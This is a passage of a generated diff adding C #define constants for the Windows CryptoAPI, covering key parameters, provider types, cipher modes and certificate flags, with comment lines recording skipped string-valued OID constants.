KP_RA 0x10 +#define KP_RB 0x11 +#define KP_INFO 0x12 +#define KP_EFFECTIVE_KEYLEN 0x13 +#define KP_SCHANNEL_ALG 0x14 +#define KP_CLIENT_RANDOM 0x15 +#define KP_SERVER_RANDOM 0x16 +#define KP_RP 0x17 +#define KP_PRECOMP_MD5 0x18 +#define KP_PRECOMP_SHA 0x19 +#define KP_CLEAR_KEY 0x1b +#define KP_PUB_EX_LEN 0x1c +#define KP_PUB_EX_VAL 0x1d +#define KP_KEYVAL 0x1e +#define KP_ADMIN_PIN 0x1f +#define KP_KEYEXCHANGE_PIN 0x20 +#define KP_SIGNATURE_PIN 0x21 +#define KP_PREHASH 0x22 +#define KP_ROUNDS 0x23 +#define KP_OAEP_PARAMS 0x24 +#define KP_CMS_KEY_INFO 0x25 +#define KP_CMS_DH_KEY_INFO 0x26 +#define KP_PUB_PARAMS 0x27 +#define KP_VERIFY_PARAMS 0x28 +#define KP_HIGHEST_VERSION 0x29 +#define KP_PIN_ID 0x2b +#define KP_PIN_INFO 0x2c +#define PKCS5_PADDING 0x1 +#define RANDOM_PADDING 0x2 +#define ZERO_PADDING 0x3 +#define CRYPT_MODE_CBC 0x1 +#define CRYPT_MODE_ECB 0x2 +#define CRYPT_MODE_OFB 0x3 +#define CRYPT_MODE_CFB 0x4 +#define CRYPT_MODE_CTS 0x5 +#define CRYPT_ENCRYPT 0x1 +#define CRYPT_DECRYPT 0x2 +#define CRYPT_EXPORT 0x4 +#define CRYPT_READ 0x8 +#define CRYPT_WRITE 0x10 +#define CRYPT_MAC 0x20 +#define CRYPT_EXPORT_KEY 0x40 +#define CRYPT_IMPORT_KEY 0x80 +#define CRYPT_ARCHIVE 0x100 +#define HP_ALGID 0x1 +#define HP_HASHSIZE 0x4 +#define HP_TLS1PRF_LABEL 0x6 +#define HP_TLS1PRF_SEED 0x7 +#define CRYPT_FAILED 0x0 +#define CRYPT_SUCCEED 0x1 +#define PP_ENUMALGS 0x1 +#define PP_ENUMCONTAINERS 0x2 +#define PP_IMPTYPE 0x3 +#define PP_NAME 0x4 +#define PP_VERSION 0x5 +#define PP_CONTAINER 0x6 +#define PP_CHANGE_PASSWORD 0x7 +#define PP_CERTCHAIN 0x9 +#define PP_KEY_TYPE_SUBTYPE 0xa +#define PP_PROVTYPE 0x10 +#define PP_KEYSTORAGE 0x11 +#define PP_APPLI_CERT 0x12 +#define PP_SYM_KEYSIZE 0x13 +#define PP_SESSION_KEYSIZE 0x14 +#define PP_ENUMALGS_EX 0x16 +#define PP_ENUMMANDROOTS 0x19 +#define PP_ENUMELECTROOTS 0x1a +#define PP_KEYSET_TYPE 0x1b +#define PP_ADMIN_PIN 0x1f +#define PP_SIG_KEYSIZE_INC 0x22 +#define PP_KEYX_KEYSIZE_INC 0x23 +#define PP_UNIQUE_CONTAINER 0x24 +#define PP_SGC_INFO 0x25 +#define PP_KEYSPEC 0x27 +#define PP_ENUMEX_SIGNING_PROT 0x28 +#define PP_CRYPT_COUNT_KEY_USE 0x29 +#define PP_SMARTCARD_GUID 0x2d +#define PP_SMARTCARD_READER_ICON 0x2f +#define CRYPT_FIRST 0x1 +#define CRYPT_NEXT 0x2 +#define CRYPT_SGC_ENUM 0x4 +#define CRYPT_IMPL_HARDWARE 0x1 +#define CRYPT_IMPL_SOFTWARE 0x2 +#define CRYPT_IMPL_MIXED 0x3 +#define CRYPT_IMPL_UNKNOWN 0x4 +#define CRYPT_IMPL_REMOVABLE 0x8 +#define CRYPT_SEC_DESCR 0x1 +#define CRYPT_PSTORE 0x2 +#define CRYPT_UI_PROMPT 0x4 +#define CRYPT_FLAG_PCT1 0x1 +#define CRYPT_FLAG_SSL2 0x2 +#define CRYPT_FLAG_SSL3 0x4 +#define CRYPT_FLAG_TLS1 0x8 +#define CRYPT_FLAG_IPSEC 0x10 +#define CRYPT_FLAG_SIGNING 0x20 +#define CRYPT_SGC 0x1 +#define CRYPT_FASTSGC 0x2 +#define PP_CONTEXT_INFO 0xb +#define PP_DISMISS_PIN_UI_SEC 0x31 +#define PP_IS_PFX_EPHEMERAL 0x32 +#define PROV_RSA_FULL 0x1 +#define PROV_RSA_SIG 0x2 +#define PROV_DSS 0x3 +#define PROV_FORTEZZA 0x4 +#define PROV_MS_EXCHANGE 0x5 +#define PROV_SSL 0x6 +#define PROV_RSA_SCHANNEL 0xc +#define PROV_DSS_DH 0xd +#define PROV_EC_ECDSA_SIG 0xe +#define PROV_EC_ECNRA_SIG 0xf +#define PROV_EC_ECDSA_FULL 0x10 +#define PROV_EC_ECNRA_FULL 0x11 +#define PROV_DH_SCHANNEL 0x12 +#define PROV_SPYRUS_LYNKS 0x14 +#define PROV_RNG 0x15 +#define PROV_INTEL_SEC 0x16 +#define PROV_REPLACE_OWF 0x17 +#define PROV_RSA_AES 0x18 +#define PROV_STT_MER 0x7 +#define PROV_STT_ACQ 0x8 +#define PROV_STT_BRND 0x9 +#define PROV_STT_ROOT 0xa +#define PROV_STT_ISS 0xb +// SKIPPED const MS_DEF_PROV_A: non-integer constant +// SKIPPED const MS_DEF_PROV_W: non-integer constant +// SKIPPED const MS_DEF_PROV: non-integer constant +// SKIPPED const MS_ENHANCED_PROV_A: non-integer constant +// SKIPPED const MS_ENHANCED_PROV_W: non-integer constant +// SKIPPED const MS_ENHANCED_PROV: non-integer constant +// SKIPPED const MS_STRONG_PROV_A: non-integer constant +// SKIPPED const MS_STRONG_PROV_W: non-integer constant +// SKIPPED const MS_STRONG_PROV: non-integer constant +// SKIPPED const MS_DEF_RSA_SIG_PROV_A: non-integer constant +// SKIPPED const MS_DEF_RSA_SIG_PROV_W: non-integer constant +// SKIPPED const MS_DEF_RSA_SIG_PROV: non-integer constant +// SKIPPED const MS_DEF_RSA_SCHANNEL_PROV_A: non-integer constant +// SKIPPED const MS_DEF_RSA_SCHANNEL_PROV_W: non-integer constant +// SKIPPED const MS_DEF_RSA_SCHANNEL_PROV: non-integer constant +// SKIPPED const MS_DEF_DSS_PROV_A: non-integer constant +// SKIPPED const MS_DEF_DSS_PROV_W: non-integer constant +// SKIPPED const MS_DEF_DSS_PROV: non-integer constant +// SKIPPED const MS_DEF_DSS_DH_PROV_A: non-integer constant +// SKIPPED const MS_DEF_DSS_DH_PROV_W: non-integer constant +// SKIPPED const MS_DEF_DSS_DH_PROV: non-integer constant +// SKIPPED const MS_ENH_DSS_DH_PROV_A: non-integer constant +// SKIPPED const MS_ENH_DSS_DH_PROV_W: non-integer constant +// SKIPPED const MS_ENH_DSS_DH_PROV: non-integer constant +// SKIPPED const MS_DEF_DH_SCHANNEL_PROV_A: non-integer constant +// SKIPPED const MS_DEF_DH_SCHANNEL_PROV_W: non-integer constant +// SKIPPED const MS_DEF_DH_SCHANNEL_PROV: non-integer constant +// SKIPPED const MS_SCARD_PROV_A: non-integer constant +// SKIPPED const MS_SCARD_PROV_W: non-integer constant +// SKIPPED const MS_SCARD_PROV: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_A: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_W: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_XP_A: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_XP_W: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_XP: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV: non-integer constant +#define MAXUIDLEN 0x40 +// SKIPPED const EXPO_OFFLOAD_REG_VALUE: non-integer constant +// SKIPPED const EXPO_OFFLOAD_FUNC_NAME: non-integer constant +// SKIPPED const szKEY_CRYPTOAPI_PRIVATE_KEY_OPTIONS: non-integer constant +// SKIPPED const szKEY_CACHE_ENABLED: non-integer constant +// SKIPPED const szKEY_CACHE_SECONDS: non-integer constant +// SKIPPED const szPRIV_KEY_CACHE_MAX_ITEMS: non-integer constant +#define cPRIV_KEY_CACHE_MAX_ITEMS_DEFAULT 0x14 +// SKIPPED const szPRIV_KEY_CACHE_PURGE_INTERVAL_SECONDS: non-integer constant +#define cPRIV_KEY_CACHE_PURGE_INTERVAL_SECONDS_DEFAULT 0x15180 +#define CUR_BLOB_VERSION 0x2 +#define SCHANNEL_MAC_KEY 0x0 +#define SCHANNEL_ENC_KEY 0x1 +#define INTERNATIONAL_USAGE 0x1 +// SKIPPED const szOID_RSA: non-integer constant +// SKIPPED const szOID_PKCS: non-integer constant +// SKIPPED const szOID_RSA_HASH: non-integer constant +// SKIPPED const szOID_RSA_ENCRYPT: non-integer constant +// SKIPPED const szOID_PKCS_1: non-integer constant +// SKIPPED const szOID_PKCS_2: non-integer constant +// SKIPPED const szOID_PKCS_3: non-integer constant +// SKIPPED const szOID_PKCS_4: non-integer constant +// SKIPPED const szOID_PKCS_5: non-integer constant +// SKIPPED const szOID_PKCS_6: non-integer constant +// SKIPPED const szOID_PKCS_7: non-integer constant +// SKIPPED const szOID_PKCS_8: non-integer constant +// SKIPPED const szOID_PKCS_9: non-integer constant +// SKIPPED const szOID_PKCS_10: non-integer constant +// SKIPPED const szOID_PKCS_12: non-integer constant +// SKIPPED const szOID_RSA_RSA: non-integer constant +// SKIPPED const szOID_RSA_MD2RSA: non-integer constant +// SKIPPED const szOID_RSA_MD4RSA: non-integer constant +// SKIPPED const szOID_RSA_MD5RSA: non-integer constant +// SKIPPED const szOID_RSA_SHA1RSA: non-integer constant +// SKIPPED const szOID_RSA_SETOAEP_RSA: non-integer constant +// SKIPPED const szOID_RSAES_OAEP: non-integer constant +// SKIPPED const szOID_RSA_MGF1: non-integer constant +// SKIPPED const szOID_RSA_PSPECIFIED: non-integer constant +// SKIPPED const szOID_RSA_SSA_PSS: non-integer constant +// SKIPPED const szOID_RSA_SHA256RSA: non-integer constant +// SKIPPED const szOID_RSA_SHA384RSA: non-integer constant +// SKIPPED const szOID_RSA_SHA512RSA: non-integer constant +// SKIPPED const szOID_RSA_DH: non-integer constant +// SKIPPED const szOID_RSA_data: non-integer constant +// SKIPPED const szOID_RSA_signedData: non-integer constant +// SKIPPED const szOID_RSA_envelopedData: non-integer constant +// SKIPPED const szOID_RSA_signEnvData: non-integer constant +// SKIPPED const szOID_RSA_digestedData: non-integer constant +// SKIPPED const szOID_RSA_hashedData: non-integer constant +// SKIPPED const szOID_RSA_encryptedData: non-integer constant +// SKIPPED const szOID_RSA_emailAddr: non-integer constant +// SKIPPED const szOID_RSA_unstructName: non-integer constant +// SKIPPED const szOID_RSA_contentType: non-integer constant +// SKIPPED const szOID_RSA_messageDigest: non-integer constant +// SKIPPED const szOID_RSA_signingTime: non-integer constant +// SKIPPED const szOID_RSA_counterSign: non-integer constant +// SKIPPED const szOID_RSA_challengePwd: non-integer constant +// SKIPPED const szOID_RSA_unstructAddr: non-integer constant +// SKIPPED const szOID_RSA_extCertAttrs: non-integer constant +// SKIPPED const szOID_RSA_certExtensions: non-integer constant +// SKIPPED const szOID_RSA_SMIMECapabilities: non-integer constant +// SKIPPED const szOID_RSA_preferSignedData: non-integer constant +// SKIPPED const szOID_TIMESTAMP_TOKEN: non-integer constant +// SKIPPED const szOID_RFC3161_counterSign: non-integer constant +// SKIPPED const szOID_RFC3161v21_counterSign: non-integer constant +// SKIPPED const szOID_RFC3161v21_thumbprints: non-integer constant +// SKIPPED const szOID_RSA_SMIMEalg: non-integer constant +// SKIPPED const szOID_RSA_SMIMEalgESDH: non-integer constant +// SKIPPED const szOID_RSA_SMIMEalgCMS3DESwrap: non-integer constant +// SKIPPED const szOID_RSA_SMIMEalgCMSRC2wrap: non-integer constant +// SKIPPED const szOID_RSA_MD2: non-integer constant +// SKIPPED const szOID_RSA_MD4: non-integer constant +// SKIPPED const szOID_RSA_MD5: non-integer constant +// SKIPPED const szOID_RSA_RC2CBC: non-integer constant +// SKIPPED const szOID_RSA_RC4: non-integer constant +// SKIPPED const szOID_RSA_DES_EDE3_CBC: non-integer constant +// SKIPPED const szOID_RSA_RC5_CBCPad: non-integer constant +// SKIPPED const szOID_ANSI_X942: non-integer constant +// SKIPPED const szOID_ANSI_X942_DH: non-integer constant +// SKIPPED const szOID_X957: non-integer constant +// SKIPPED const szOID_X957_DSA: non-integer constant +// SKIPPED const szOID_X957_SHA1DSA: non-integer constant +// SKIPPED const szOID_ECC_PUBLIC_KEY: non-integer constant +// SKIPPED const szOID_ECC_CURVE_P256: non-integer constant +// SKIPPED const szOID_ECC_CURVE_P384: non-integer constant +// SKIPPED const szOID_ECC_CURVE_P521: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP160R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP160T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP192R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP192T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP224R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP224T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP256R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP256T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP320R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP320T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP384R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP384T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP512R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP512T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_EC192WAPI: non-integer constant +// SKIPPED const szOID_CN_ECDSA_SHA256: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP192: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP224: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP256: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP384: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP521: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP160K1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP160R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP160R2: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP192K1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP192R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP224K1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP224R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP256K1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP256R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP384R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP521R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_WTLS7: non-integer constant +// SKIPPED const szOID_ECC_CURVE_WTLS9: non-integer constant +// SKIPPED const szOID_ECC_CURVE_WTLS12: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P192V1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P192V2: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P192V3: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P239V1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P239V2: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P239V3: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P256V1: non-integer constant +// SKIPPED const szOID_ECDSA_SHA1: non-integer constant +// SKIPPED const szOID_ECDSA_SPECIFIED: non-integer constant +// SKIPPED const szOID_ECDSA_SHA256: non-integer constant +// SKIPPED const szOID_ECDSA_SHA384: non-integer constant +// SKIPPED const szOID_ECDSA_SHA512: non-integer constant +// SKIPPED const szOID_NIST_AES128_CBC: non-integer constant +// SKIPPED const szOID_NIST_AES192_CBC: non-integer constant +// SKIPPED const szOID_NIST_AES256_CBC: non-integer constant +// SKIPPED const szOID_NIST_AES128_WRAP: non-integer constant +// SKIPPED const szOID_NIST_AES192_WRAP: non-integer constant +// SKIPPED const szOID_NIST_AES256_WRAP: non-integer constant +// SKIPPED const szOID_DH_SINGLE_PASS_STDDH_SHA1_KDF: non-integer constant +// SKIPPED const szOID_DH_SINGLE_PASS_STDDH_SHA256_KDF: non-integer constant +// SKIPPED const szOID_DH_SINGLE_PASS_STDDH_SHA384_KDF: non-integer constant +// SKIPPED const szOID_DS: non-integer constant +// SKIPPED const szOID_DSALG: non-integer constant +// SKIPPED const szOID_DSALG_CRPT: non-integer constant +// SKIPPED const szOID_DSALG_HASH: non-integer constant +// SKIPPED const szOID_DSALG_SIGN: non-integer constant +// SKIPPED const szOID_DSALG_RSA: non-integer constant +// SKIPPED const szOID_OIW: non-integer constant +// SKIPPED const szOID_OIWSEC: non-integer constant +// SKIPPED const szOID_OIWSEC_md4RSA: non-integer constant +// SKIPPED const szOID_OIWSEC_md5RSA: non-integer constant +// SKIPPED const szOID_OIWSEC_md4RSA2: non-integer constant +// SKIPPED const szOID_OIWSEC_desECB: non-integer constant +// SKIPPED const szOID_OIWSEC_desCBC: non-integer constant +// SKIPPED const szOID_OIWSEC_desOFB: non-integer constant +// SKIPPED const szOID_OIWSEC_desCFB: non-integer constant +// SKIPPED const szOID_OIWSEC_desMAC: non-integer constant +// SKIPPED const szOID_OIWSEC_rsaSign: non-integer constant +// SKIPPED const szOID_OIWSEC_dsa: non-integer constant +// SKIPPED const szOID_OIWSEC_shaDSA: non-integer constant +// SKIPPED const szOID_OIWSEC_mdc2RSA: non-integer constant +// SKIPPED const szOID_OIWSEC_shaRSA: non-integer constant +// SKIPPED const szOID_OIWSEC_dhCommMod: non-integer constant +// SKIPPED const szOID_OIWSEC_desEDE: non-integer constant +// SKIPPED const szOID_OIWSEC_sha: non-integer constant +// SKIPPED const szOID_OIWSEC_mdc2: non-integer constant +// SKIPPED const szOID_OIWSEC_dsaComm: non-integer constant +// SKIPPED const szOID_OIWSEC_dsaCommSHA: non-integer constant +// SKIPPED const szOID_OIWSEC_rsaXchg: non-integer constant +// SKIPPED const szOID_OIWSEC_keyHashSeal: non-integer constant +// SKIPPED const szOID_OIWSEC_md2RSASign: non-integer constant +// SKIPPED const szOID_OIWSEC_md5RSASign: non-integer constant +// SKIPPED const szOID_OIWSEC_sha1: non-integer constant +// SKIPPED const szOID_OIWSEC_dsaSHA1: non-integer constant +// SKIPPED const szOID_OIWSEC_dsaCommSHA1: non-integer constant +// SKIPPED const szOID_OIWSEC_sha1RSASign: non-integer constant +// SKIPPED const szOID_OIWDIR: non-integer constant +// SKIPPED const szOID_OIWDIR_CRPT: non-integer constant +// SKIPPED const szOID_OIWDIR_HASH: non-integer constant +// SKIPPED const szOID_OIWDIR_SIGN: non-integer constant +// SKIPPED const szOID_OIWDIR_md2: non-integer constant +// SKIPPED const szOID_OIWDIR_md2RSA: non-integer constant +// SKIPPED const szOID_INFOSEC: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsSignature: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicSignature: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsConfidentiality: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicConfidentiality: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsIntegrity: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicIntegrity: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsTokenProtection: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicTokenProtection: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsKeyManagement: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicKeyManagement: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsKMandSig: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicKMandSig: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteASignature: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteAConfidentiality: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteAIntegrity: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteATokenProtection: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteAKeyManagement: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteAKMandSig: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicUpdatedSig: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicKMandUpdSig: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicUpdatedInteg: non-integer constant +// SKIPPED const szOID_NIST_sha256: non-integer constant +// SKIPPED const szOID_NIST_sha384: non-integer constant +// SKIPPED const szOID_NIST_sha512: non-integer constant +// SKIPPED const szOID_NIST_shake128: non-integer constant +// SKIPPED const szOID_NIST_shake256: non-integer constant +// SKIPPED const szOID_NIST_ml_dsa_44: non-integer constant +// SKIPPED const szOID_NIST_ml_dsa_65: non-integer constant +// SKIPPED const szOID_NIST_ml_dsa_87: non-integer constant +// SKIPPED const szOID_NIST_hash_ml_dsa_44_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_ml_dsa_65_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_ml_dsa_87_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_ml_kem_512: non-integer constant +// SKIPPED const szOID_NIST_ml_kem_768: non-integer constant +// SKIPPED const szOID_NIST_ml_kem_1024: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_128s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_128f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_192s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_192f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_256s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_256f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_128s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_128f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_192s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_192f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_256s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_256f: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_128s_with_sha256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_128f_with_sha256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_192s_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_192f_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_256s_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_256f_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_128s_with_shake128: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_128f_with_shake128: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_192s_with_shake256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_192f_with_shake256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_256s_with_shake256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_256f_with_shake256: non-integer constant +// SKIPPED const szOID_COMMON_NAME: non-integer constant +// SKIPPED const szOID_SUR_NAME: non-integer constant +// SKIPPED const szOID_DEVICE_SERIAL_NUMBER: non-integer constant +// SKIPPED const szOID_COUNTRY_NAME: non-integer constant +// SKIPPED const szOID_LOCALITY_NAME: non-integer constant +// SKIPPED const szOID_STATE_OR_PROVINCE_NAME: non-integer constant +// SKIPPED const szOID_STREET_ADDRESS: non-integer constant +// SKIPPED const szOID_ORGANIZATION_NAME: non-integer constant +// SKIPPED const szOID_ORGANIZATIONAL_UNIT_NAME: non-integer constant +// SKIPPED const szOID_TITLE: non-integer constant +// SKIPPED const szOID_DESCRIPTION: non-integer constant +// SKIPPED const szOID_SEARCH_GUIDE: non-integer constant +// SKIPPED const szOID_BUSINESS_CATEGORY: non-integer constant +// SKIPPED const szOID_POSTAL_ADDRESS: non-integer constant +// SKIPPED const szOID_POSTAL_CODE: non-integer constant +// SKIPPED const szOID_POST_OFFICE_BOX: non-integer constant +// SKIPPED const szOID_PHYSICAL_DELIVERY_OFFICE_NAME: non-integer constant +// SKIPPED const szOID_TELEPHONE_NUMBER: non-integer constant +// SKIPPED const szOID_TELEX_NUMBER: non-integer constant +// SKIPPED const szOID_TELETEXT_TERMINAL_IDENTIFIER: non-integer constant +// SKIPPED const szOID_FACSIMILE_TELEPHONE_NUMBER: non-integer constant +// SKIPPED const szOID_X21_ADDRESS: non-integer constant +// SKIPPED const szOID_INTERNATIONAL_ISDN_NUMBER: non-integer constant +// SKIPPED const szOID_REGISTERED_ADDRESS: non-integer constant +// SKIPPED const szOID_DESTINATION_INDICATOR: non-integer constant +// SKIPPED const szOID_PREFERRED_DELIVERY_METHOD: non-integer constant +// SKIPPED const szOID_PRESENTATION_ADDRESS: non-integer constant +// SKIPPED const szOID_SUPPORTED_APPLICATION_CONTEXT: non-integer constant +// SKIPPED const szOID_MEMBER: non-integer constant +// SKIPPED const szOID_OWNER: non-integer constant +// SKIPPED const szOID_ROLE_OCCUPANT: non-integer constant +// SKIPPED const szOID_SEE_ALSO: non-integer constant +// SKIPPED const szOID_USER_PASSWORD: non-integer constant +// SKIPPED const szOID_USER_CERTIFICATE: non-integer constant +// SKIPPED const szOID_CA_CERTIFICATE: non-integer constant +// SKIPPED const szOID_AUTHORITY_REVOCATION_LIST: non-integer constant +// SKIPPED const szOID_CERTIFICATE_REVOCATION_LIST: non-integer constant +// SKIPPED const szOID_CROSS_CERTIFICATE_PAIR: non-integer constant +// SKIPPED const szOID_GIVEN_NAME: non-integer constant +// SKIPPED const szOID_INITIALS: non-integer constant +// SKIPPED const szOID_DN_QUALIFIER: non-integer constant +// SKIPPED const szOID_DOMAIN_COMPONENT: non-integer constant +// SKIPPED const szOID_PKCS_12_FRIENDLY_NAME_ATTR: non-integer constant +// SKIPPED const szOID_PKCS_12_LOCAL_KEY_ID: non-integer constant +// SKIPPED const szOID_PKCS_12_KEY_PROVIDER_NAME_ATTR: non-integer constant +// SKIPPED const szOID_LOCAL_MACHINE_KEYSET: non-integer constant +// SKIPPED const szOID_PKCS_12_EXTENDED_ATTRIBUTES: non-integer constant +// SKIPPED const szOID_PKCS_12_PROTECTED_PASSWORD_SECRET_BAG_TYPE_ID: non-integer constant +// SKIPPED const szOID_KEYID_RDN: non-integer constant +// SKIPPED const szOID_EV_RDN_LOCALE: non-integer constant +// SKIPPED const szOID_EV_RDN_STATE_OR_PROVINCE: non-integer constant +// SKIPPED const szOID_EV_RDN_COUNTRY: non-integer constant +#define CERT_RDN_TYPE_MASK 0xff +#define CERT_RDN_FLAGS_MASK 0xff000000 +#define CERT_RDN_ENABLE_T61_UNICODE_FLAG 0x80000000 +#define CERT_RDN_ENABLE_UTF8_UNICODE_FLAG 0x20000000 +#define CERT_RDN_FORCE_UTF8_UNICODE_FLAG 0x10000000 +#define CERT_RDN_DISABLE_CHECK_TYPE_FLAG 0x40000000 +#define CERT_RDN_DISABLE_IE4_UTF8_FLAG 0x1000000 +#define CERT_RDN_ENABLE_PUNYCODE_FLAG 0x2000000 +// SKIPPED const CERT_RSA_PUBLIC_KEY_OBJID: non-integer constant +// SKIPPED const CERT_DEFAULT_OID_PUBLIC_KEY_SIGN: non-integer constant +// SKIPPED const CERT_DEFAULT_OID_PUBLIC_KEY_XCHG: non-integer constant +#define CRYPT_ECC_PRIVATE_KEY_INFO_v1 0x1 +#define CERT_V1 0x0 +#define CERT_V2 0x1 +#define CERT_V3 0x2 +#define CERT_INFO_VERSION_FLAG 0x1 +#define CERT_INFO_SERIAL_NUMBER_FLAG 0x2 +#define CERT_INFO_SIGNATURE_ALGORITHM_FLAG 0x3 +#define CERT_INFO_ISSUER_FLAG 0x4 +#define CERT_INFO_NOT_BEFORE_FLAG 0x5 +#define CERT_INFO_NOT_AFTER_FLAG 0x6 +#define CERT_INFO_SUBJECT_FLAG 0x7 +#define CERT_INFO_SUBJECT_PUBLIC_KEY_INFO_FLAG 0x8 +#define CERT_INFO_ISSUER_UNIQUE_ID_FLAG 0x9 +#define CERT_INFO_SUBJECT_UNIQUE_ID_FLAG 0xa +#define CERT_INFO_EXTENSION_FLAG 0xb +#define CRL_V1 0x0 +#define CRL_V2 0x1 +#define CERT_BUNDLE_CERTIFICATE 0x0 +#define CERT_BUNDLE_CRL 0x1 +#define CERT_REQUEST_V1 0x0 +#define CERT_KEYGEN_REQUEST_V1 0x0 +#define CTL_V1 0x0 +#define CERT_ENCODING_TYPE_MASK 0xffff +#define CMSG_ENCODING_TYPE_MASK 0xffff0000 +#define CRYPT_ASN_ENCODING 0x1 +#define CRYPT_NDR_ENCODING 0x2 +#define X509_NDR_ENCODING 0x2 +#define PKCS_7_NDR_ENCODING 0x20000 +#define CRYPT_FORMAT_STR_MULTI_LINE 0x1 +#define CRYPT_FORMAT_STR_NO_HEX 0x10 +#define CRYPT_FORMAT_SIMPLE 0x1 +#define CRYPT_FORMAT_X509 0x2 +#define CRYPT_FORMAT_OID 0x4 +#define CRYPT_FORMAT_RDN_SEMICOLON 0x100 +#define CRYPT_FORMAT_RDN_CRLF 0x200 +#define CRYPT_FORMAT_RDN_UNQUOTE 0x400 +#define CRYPT_FORMAT_RDN_REVERSE 0x800 +#define CRYPT_FORMAT_COMMA 0x1000 +#define CRYPT_FORMAT_SEMICOLON 0x100 +#define CRYPT_FORMAT_CRLF 0x200 